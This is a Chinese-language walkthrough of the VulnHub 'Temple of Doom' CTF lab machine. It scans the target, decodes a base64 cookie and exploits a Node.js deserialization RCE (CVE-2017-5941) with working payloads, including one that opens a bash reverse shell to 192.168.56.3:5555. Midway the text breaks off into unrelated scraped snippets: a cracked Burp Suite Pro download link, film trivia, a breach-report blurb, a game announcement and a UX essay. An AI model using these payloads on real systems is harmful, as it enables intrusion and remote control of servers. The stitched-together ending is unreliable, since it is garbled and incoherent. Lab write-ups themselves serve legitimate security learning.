靶机地址:https://www.vulnhub.com/entry/temple-of-doom-1,243/
靶机难度:中级(CTF)
靶机发布日期:2018年6月8日
靶机描述:
由https://twitter.com/0katz创建的CTF
]难度:简单/中级
在VirtualBox中测试
注意:2种扎根 ***
目标:得到root权限&找到flag.txt
作者:DXR嗯嗯呐
nmap扫描IP
nmap端口扫描
22 ssh
666 Express 是一个保持最小规模的灵活的 Node.js Web 应用程序开发框架,为 Web 和移动应用程序提供一组强大的功能。
访问80端口
没有获得有用的信息,使用dirb,nikto扫描,结果也没发现什么
不知道怎么办了,使用burpsuite抓一下包看看吧
看到了cookie的值可能是一个base64编码
界面获得一个json字符串感觉格式不完整,修改一下
解码后
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMTIn0%3D
修改后
重新编码提交,获得一个界面
加上cookie使用dirb扫描依然失败,看了看老人们的,发现这里是考Node.js反序列化远程代码执行(CVE-2017-5941)这个漏洞
大佬写的很具体
{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(error,stdout,stderr)=>{console.log(stdout)}); }()"}
编译后
eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JldHVybiByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ3dob2FtaScsKGU *** 3V0LGVycik9Pntjb25zb2xlLmxvZyhvdXQpO30pOyB9KCkifQo=
获得用户名 nodeadmin
直接使用bash获得反弹shell
{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('bash -i >& /dev/tcp/192.168.56.3/5555 0>&1',(error,stdout,stderr)=>{console.log(stdout)}); }()"}
图9 SPI指令解析脚本链接:http://www.mottoin.com/wp-content/d/file/uploads/tools/burpsuite_pro_v1.7.12.7z带有toke...
黑客帝国123部的英文名分别是什么 1、《黑客帝国2:重装上阵》(英语:The Matrix Reloaded)《黑客帝国2:重装上阵》是一部在西元2003年上映的电影。由沃卓斯基姐妹导演,基努·里维...
根据美国特勤局在最近公布的Verizon数据泄漏调查报告中提供的数据显示,内部人员攻击事故的数量在过去一年又翻了一番,但是外部攻击仍然是主要攻击来源,这说明企业仍然没有保护好网络和数据的安全。 主动...
几个月前,我自愿对一家法国公司进行了安全审计。该公司有一个企业站,你能够在其间找到新闻,联络页面或下载文档。这是一个十分典型的网站,当加载某些内容,将会发送AJAX恳求,该恳求由2个参数组成。 并答应...
《刀塔霸业》今日公布公布公测,期待中的IOS、安卓手机系统手游也按时公布,不得已令人感叹V社也是有今日那麼勤奋的具体表现?无法想象! 刀塔霸业的官方网站网址: 安卓手机系统顾客可以立即登录...
但业务方提出信息内容强曝光的需求时,设计师需要从多个角度去评估需求的合理性,并通过设计方案的规划与校验,进而平衡好曝光诉求与浏览效率。 一、前言 页面的浏览效率,会和页面所呈现的内容数量,成对立关系...